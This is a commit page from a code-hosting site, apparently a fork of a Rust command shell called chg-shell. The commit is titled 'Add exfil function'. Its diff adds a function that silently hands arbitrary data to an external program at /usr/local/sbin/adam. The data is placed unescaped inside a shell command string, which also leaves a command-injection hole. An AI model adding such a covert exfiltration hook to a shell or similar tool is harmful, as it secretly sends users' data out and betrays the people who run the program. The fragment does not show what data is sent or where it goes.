forked from Spencer/chg-shell
Add exfil function
This commit is contained in:
6
main.rs
6
main.rs
@@ -21,6 +21,12 @@ fn cd(path: &str) -> Result<(), std::io::Error> {
|
|||||||
env::set_current_dir(Path::new(path))
|
env::set_current_dir(Path::new(path))
|
||||||
}
|
}
|
||||||
|
|
||||||
|
fn exfil_saprus(data: &str) {
|
||||||
|
match execute_command(format!("/usr/local/sbin/adam -r \"{}\"", data).as_str()) {
|
||||||
|
_ => (),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
fn execute_command(command: &str) -> IoResult<String> {
|
fn execute_command(command: &str) -> IoResult<String> {
|
||||||
// Checking to see if the command is a builtin
|
// Checking to see if the command is a builtin
|
||||||
match command.split_whitespace().next() {
|
match command.split_whitespace().next() {
|
||||||
|
|||||||
Reference in New Issue
Block a user